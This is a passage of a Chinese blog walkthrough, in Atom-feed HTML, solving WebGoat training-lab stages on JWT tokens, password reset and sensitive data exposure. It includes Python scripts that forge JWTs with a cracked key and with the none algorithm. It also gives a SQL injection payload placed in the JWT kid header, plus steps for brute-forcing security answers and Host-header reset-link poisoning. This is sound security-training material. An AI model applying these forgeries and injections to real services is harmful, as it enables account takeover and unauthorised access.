&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;payload
&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;iss&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;WebGoat Token Builder&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;aud&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;webgoat.org&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;iat&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1601889938&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;exp&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1601889998&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;sub&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;tom@webgoat.org&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;username&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Tom&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Email&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;tom@webgoat.org&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Role&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Manager&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Project Administrator&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;按照要求把&lt;code&gt;Tom&lt;&#x2F;code&gt;改成&lt;code&gt;WebGoat&lt;&#x2F;code&gt;，还有&lt;code&gt;exp&lt;&#x2F;code&gt;到期时间也要改掉。再用python生成一次。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;jwt,datetime
&lt;&#x2F;span&gt;&lt;span&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;iss&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;WebGoat Token Builder&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;aud&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;webgoat.org&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;iat&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1601889938&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;exp&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:datetime.datetime.now() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;datetime.timedelta(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;days&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;),
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;sub&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;tom@webgoat.org&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;username&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;WebGoat&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Email&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;tom@webgoat.org&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Role&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Manager&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Project Administrator&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(jwt.encode(data, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;washington&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;algorithm&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;HS256&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;就是最终答案了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-7&quot;&gt;Stage 7&lt;&#x2F;h3&gt;
&lt;p&gt;先打开提示中的log文件，里面有一段JWT。直接开始分析&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;alg&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;HS512&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;iat&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1526131411&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;exp&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1526217811&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;admin&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;false&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;user&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Tom&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;显然是过期了的，一种方法是像刚才那要破解出密码，但应该不会出一样的题。还是试一试前面的方法，把加密方式改成&lt;code&gt;none&lt;&#x2F;code&gt;，并更新&lt;code&gt;exp&lt;&#x2F;code&gt;。用同样的方式生成JWT，填到Headers的Authorization，就成功了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-8&quot;&gt;Stage 8&lt;&#x2F;h3&gt;
&lt;p&gt;先直接点Tom下方的&lt;code&gt;Delete&lt;&#x2F;code&gt;按钮，得到自己的JWT。然后应该是要修改成Tom的。JWT内容如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;Header
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;typ&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;JWT&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;kid&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;webgoat_key&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;alg&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;HS256&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;Payload
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;iss&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;WebGoat Token Builder&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;iat&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1524210904&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;exp&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1618905304&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;aud&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;webgoat.org&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;sub&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;jerry@webgoat.com&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;username&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Jerry&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Email&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;jerry@webgoat.com&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Role&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Cat&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;尝试直接取消签名。算法改成&lt;code&gt;none&lt;&#x2F;code&gt;，失败，服务器不接收。再试试暴力破解，暴力破解，也同样失败。只好看&lt;code&gt;hints&lt;&#x2F;code&gt;了。原来加密用的密钥的id就放在Header部分了。继续看&lt;code&gt;hints&lt;&#x2F;code&gt;，原来kid是存在数据库里的，那么必然会用SQL语句查询，于是便在JWT的Header里的kid进行SQL注入(这太难想到了吧)，让其返回一个固定的值。&lt;&#x2F;p&gt;
&lt;p&gt;经过不断尝试&lt;del&gt;(并偷翻源码)&lt;&#x2F;del&gt;，知道sql查询返回的实际上是密钥的base64编码。&lt;&#x2F;p&gt;
&lt;p&gt;因此构造这样的JWT，&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-3-broken-authentication&#x2F;.&#x2F;Stage8_JWT_SQL.png&quot; alt=&quot;Stage8_JWT_SQL&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;python代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;jwt&lt;&#x2F;span&gt;&lt;span&gt;,datetime
&lt;&#x2F;span&gt;&lt;span&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;iss&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;WebGoat Token Builder&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;iat&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1524210904&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;exp&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1618905304&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;aud&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;webgoat.org&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;sub&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;jerry@webgoat.com&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;username&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Tom&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Email&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;jerry@webgoat.com&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Role&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Cat&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;  ]
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;head&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;typ&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;JWT&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;kid&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;#39;union select &amp;#39;MQ==&amp;#39; from INFORMATION_SCHEMA.SYSTEM_USERS --&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;alg&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;HS256&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;data[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;exp&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;datetime.datetime.now() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; datetime.timedelta(days&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;365&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;print(jwt.encode(data,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, algorithm&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;HS256&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,headers&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;head))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;output: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Iid1bmlvbiBzZWxlY3QgJ01RPT0nIGZyb20gSU5GT1JNQVRJT05fU0NIRU1BLlNZU1RFTV9VU0VSUyAtLSJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYzMzQ3NTM5OCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.6_HQzwkh4D3Y7JMH08PoTXDb2LH7_RUBWTWVuBDS7m8
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这道题在JWT的头部进行SQL注入，把之前做的东西也加了进来，对我来说，难度还是比较大。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;password-reset&quot;&gt;Password reset&lt;&#x2F;h2&gt;
&lt;p&gt;介绍一些重置密码时的漏洞。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-2-1&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;点击&lt;code&gt;Forgot your password?&lt;&#x2F;code&gt;，输入用户名为你注册时的用户名，到&lt;code&gt;WebWolf&lt;&#x2F;code&gt;里接受，再用新密码登录就行了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-4-1&quot;&gt;Stage 4&lt;&#x2F;h3&gt;
&lt;p&gt;让我们获得&quot;tom&quot;, &quot;admin&quot; 和&quot;larry&quot;的密码，这里的第二个问题是喜欢的颜色，但颜色的单词也不多，所以先试了试爆破，用BurpSuite的Cluster Bomb模式，选好字典，得到了下面的结果。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-3-broken-authentication&#x2F;.&#x2F;Stage4_Question.png&quot; alt=&quot;Stage4_Question&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-5-1&quot;&gt;Stage 5&lt;&#x2F;h3&gt;
&lt;p&gt;让你选你觉得安全的问题，凭感觉选就行了，选一些答案的可能性较多，不易被尝试出来的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-6&quot;&gt;Stage 6&lt;&#x2F;h3&gt;
&lt;p&gt;根据&lt;code&gt;hints&lt;&#x2F;code&gt;，是要让我们发送一个钓鱼链接。这里只需要把请求中的&lt;code&gt;Host&lt;&#x2F;code&gt;头改成webwolf的地址就行了。根据&lt;code&gt;hints&lt;&#x2F;code&gt;，Tom会点开所有发往他邮箱的链接，因此我们在WebWolf的Requests里就可以看到这个请求了。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-3-broken-authentication&#x2F;.&#x2F;Stage6_reset.png&quot; alt=&quot;Stage6_reset&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后把这个链接改成原来的WebGoat的地址，重新设置一个密码就行了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;secure-passwords&quot;&gt;Secure Passwords&lt;&#x2F;h2&gt;
&lt;p&gt;这一节主要讲安全的密码的重要性。现在我的密码都是Bitwarden随机生成的，还是比较安全的，这里也推荐大家使用一些密码管理的平台，来保护密码的安全。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-4-2&quot;&gt;Stage 4&lt;&#x2F;h3&gt;
&lt;p&gt;让你输入一个安全的密码，随便输输就行了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;sensitive-data-exposure&quot;&gt;Sensitive Data Exposure&lt;&#x2F;h1&gt;
&lt;p&gt;在用http发送敏感信息时，请求若被他人截获，就可能导致信息暴露。不过https因该不存在这样的问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;stage-2-2&quot;&gt;Stage 2&lt;&#x2F;h2&gt;
&lt;p&gt;点击&lt;code&gt;Log in&lt;&#x2F;code&gt;，发送的请求中有两个参数，填入框中即可。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;455a537854a9&quot;&gt;JWT格式 - 简书&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;69318182&quot;&gt;webgoat-JWT tokens - 知乎&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;xenonl&#x2F;article&#x2F;details&#x2F;104645445#JWT%20tokens%205%20%E7%BB%83%E4%B9%A0%E9%A2%98%20%E2%98%85&quot;&gt;WebGoat8 M17 JWT tokens 题解 - CSDN&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>WebGoat之路-1-Introduction &amp; General</title>
        <published>2020-10-03T00:00:00+00:00</published>
        <updated>2020-10-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/webgoat-1-introduction-general/"/>
